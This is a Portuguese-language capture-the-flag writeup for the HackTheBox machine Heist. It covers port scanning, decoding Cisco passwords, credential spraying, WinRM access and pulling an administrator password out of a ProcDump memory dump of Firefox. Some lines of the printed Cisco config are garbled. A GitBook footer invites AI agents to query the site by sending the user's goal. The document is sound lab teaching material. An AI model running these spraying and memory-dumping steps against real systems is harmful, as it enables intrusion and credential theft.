> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md). # Resolução do HackTheBox Heist Resolução da máquina Windows fácil Heist do HackTheBox cobrindo recuperação de senha Cisco, spray de credenciais, acesso via WinRM e análise de memória do Firefox. {% embed url="?" %} {% hint style="warning" %} **Habilidades:** * Enumeração web com Gobuster * Recuperação de senha Cisco Type 5 e Type 7 * Validação de credenciais com NetExec * Acesso WinRM com Evil-WinRM * Análise da memória do processo com ProcDump {% endhint %} ## Reconhecimento ### Configuração do ambiente de trabalho Crie pastas para resultados da varredura, conteúdo descoberto, scripts e exploits. ```bash mkdir -p {nmap,content,script,exploit} ```
### Descoberta de portas Execute uma varredura TCP completa para identificar portas abertas. ```bash sudo nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.129.6.90 -oG allPorts ``` A varredura expõe HTTP, RPC, SMB, WinRM e uma porta RPC dinâmica.
Realize uma varredura de versão direcionada contra os serviços descobertos. ```bash sudo nmap -sCV -p80,135,445,5985,49669 10.129.6.90 -oN targeted ```
### Enumeração web Porta `80` hospeda um painel de login.
Enumere os endpoints PHP com o Gobuster. ```bash gobuster dir -w `fzf-wordlists` -u http://10.129.6.90/ -x php -t 100 ```
A varredura revela páginas incluindo `issues.php`, `login.php`, e `attachments.php`. O `issues.php` A página contém um ticket de Hazard para Support. Ele menciona uma configuração Cisco com defeito. O ticket também expõe os `hazard` e `support` nomes de usuário.
O anexo contém a configuração Cisco. ```wasm versão 12.2 no service pad service password-encryption ! isdn switch-type basic-5ess ! hostname ios-1 ! security passwords min-length 12 enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ! username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 ! ! ip ssh authentication-retries 5 ip ssh version 2 ! ! router bgp 100 sincronização bgp log-neighbor-changes bgp dampening network 192.168.0.0Â mask 300.255.255.0 timers bgp 3 9 redistribute connected ! ip classless ip route 0.0.0.0 0.0.0.0 192.168.0.1 ! ! access-list 101 permit ip any any dialer-list 1 protocol ip list 101 ! no ip http server no ip http secure-server ! line vty 0 4 session-timeout 60002375012182C1A1D751618034F36415408 authorization exec SSH transport input ssh ``` A configuração contém um `enable secret` hash e duas senhas Cisco Type 7. ```bash $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ``` Quebrar o hash Type 5 recupera `stealth1agent`.
Valide a senha recuperada com SMB. Ela funciona para `hazard`. ```bash nxc smb 10.129.6.90 -u 'hazard' -p 'stealth1agent' --shares ```
Tente uma sessão WinRM com as mesmas credenciais. ```wasm evil-winrm -u "hazard" -p "stealth1agent" -i "10.129.6.90" ``` A conexão falha porque `hazard` não tem acesso via WinRM.
### Enumeração de usuários Use força bruta de RID para enumerar usuários locais. {% code overflow="wrap" %} ```bash netexec smb 10.129.6.90 -u "hazard" -p "stealth1agent" --rid-brute ``` {% endcode %} Isso retorna os seguintes usuários: * Hazard * Support * Chase * Jason ### Recuperação de senha Cisco Type 7 Recupere as senhas criptografadas restantes da configuração. ``` username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 ``` Use um decodificador Cisco Type 7 para descriptografar ambos os valores. {% embed url="" %} As senhas descriptografadas são: * $uperP\@ssword * Q4)sJu\Y8qz\*A3?d
Crie uma lista de usuários candidatos. {% code overflow="wrap" %} ```bash Support Chase Jason ``` {% endcode %} Crie uma lista de senhas. {% code overflow="wrap" %} ```bash $uperP@ssword Q4)sJu\Y8qz*A3?d ``` {% endcode %} Teste cada combinação de usuário e senha via SMB. {% code overflow="wrap" %} ```bash nxc smb 10.129.6.90 -u users.txt -p passwords.txt ``` {% endcode %} Os resultados identificam credenciais válidas para `Chase`: * Chase * Q4)sJu\Y8qz\*A3?d
### Acesso inicial Conecte-se como `Chase` via WinRM. {% code overflow="wrap" %} ```bash evil-winrm -u 'Chase' -p 'Q4)sJu\Y8qz*A3?d' -i "10.129.6.90" ``` {% endcode %}
Recupere a flag do usuário.
### Escalada de privilégios Execute `ps` e note que o Firefox está em execução. ```bash ps ```
Um processo de navegador ativo pode conter credenciais na memória. Use o ProcDump para capturar a memória do processo do Firefox. ```bash wget https://download.sysinternals.com/files/Procdump.zip ``` {% embed url="" %}
Envie `procdump64.exe` para o alvo. ```bash upload /workspace/procdump64.exe ```
Faça o dump do processo do Firefox. ```bash .\procdump64.exe -accepteula -ma 3092 firefox_debug.dmp ```
Baixe o dump de memória para análise local. ```bash download "C:/Users/Chase/Documents/firefox_debug.dmp" /workspace/firefox_debug.dmp ``` O download leva tempo porque o dump é grande.
Pesquise nas strings do dump por valores relacionados a senha em vez de esperar uma revisão completa. ```bash strings firefox_debug.dmp | grep password ``` Isso revela credenciais para a conta administrativa. ```bash admin@support.htb&login_password=4dD!5}x/re8]FBuZ ```
Valide a senha recuperada com SMB. ```bash nxc smb 10.129.6.90 -u "Administrator" -p "4dD!5}x/re8]FBuZ" ```
### Acesso de administrador Conecte-se via WinRM como `Administrator`. {% code overflow="wrap" %} ```bash evil-winrm -i '10.129.6.90' -u 'Administrator' -p '4dD!5}x/re8]FBuZ' ``` {% endcode %} A sessão tem privilégios de administrador.
Recupere a flag root.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-easy/heist-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.